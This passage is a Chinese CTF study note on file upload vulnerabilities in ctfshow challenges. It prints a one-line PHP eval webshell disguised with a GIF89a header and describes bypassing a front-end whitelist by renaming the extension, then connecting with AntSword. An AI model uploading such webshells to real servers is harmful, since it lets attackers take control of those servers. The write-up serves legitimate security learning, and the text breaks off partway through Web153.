【CTF-Web】文件上传漏洞学习笔记（ctfshow题目）

文件上传

文章目录

• 文件上传
• • What is Upload-File？
  • Upload-File In CTF
  • • Web151
    • • 考点：前端校验
      • 解题：
    • Web152
    • • 考点：后端校验要严密
      • 解题：
    • Web153
    • • 考点：后端校验 配置文件介绍
      • 解题：
    • Web154
    • • 考点：后端内容校验 大小写绕过
      • 解题：
    • Web155
    • • 考点：后端内容校验 短标签绕过
      • 解题：
    • Web156
    • • 考点：后端内容校验 中括号 符号绕过
      • 解题：
    • Web157、158
    • • 考点：后端内容校验 大括号 符号绕过
      • 解题：
    • Web159
    • • 考点：后端内容校验 小括号 符号绕过
      • 解题：
    • Web160
    • • 考点：后端内容校验 强限制 日志文件包含利用
      • 解题：
    • Web161
    • • 考点：文件头检测
      • 解题：
    • Web162
    • Web164
    • • 考点：PNG图片二次渲染
    • Web165
    • • 考点：JPG图片二次渲染
    • web166
    • • 考点：zip文件包含
    • Web167
    • • 考点：.htaccess解析
    • web168
    • • 考点：基础免杀
    • Web169、170
    • • 考点：高级免杀 包含日志

What is Upload-File？

顾名思义就是给网上传文件，比如qq空间

上传文件时服务器后端语言没有对上传的文件进行严格的验证和过滤，容易造成上传任意文件的情况，从而使得攻击者绕过上传机制上传恶意代码并执行控制服务器

恶意代码文件就是php asp aspx jsp等，也被称为webshell

Upload-File In CTF

Web151

考点：前端校验

解题：

进来之后很明显一个上传点 并且给出提示

直接上传php后缀文件被禁止 同时任意长传一个其他的后缀 随意输入也被禁止

故为白名单检测 只能上传png后缀格式

于是构造一句话木马放到图片中上传

GIF89a<?php eval($_POST['a']);?>

抓包，想要把php的内容解析 需要把后缀修改

在抓包的这一块已经绕过了前端验证

修改 发送 上传成功

得到图片的路径/upload/upload.php

一定注意是php后缀 因为修改过 上传的就是php后缀的文件

• 法1 ： 直接rce

• 法2 : 中国蚁剑

密码是我们一句话木马里面的参数a

连接成功

Web152

考点：后端校验要严密

解题：

这里和上一题一样 就能打通 但是思考一下题目 为什么说后端验证要严格呢

这里我们重新构造了一个一句话木马图片不加前缀GIF89a

好吧 效果是一样的hhh

本来我以为与Content-Type有关

• image/png
• image/gif
• jpg image/jpeg

然鹅并没有 OK 解决 下一题

Web153

考点：后端校验 配置文件介绍

解题：

再上传一个png 改后缀为php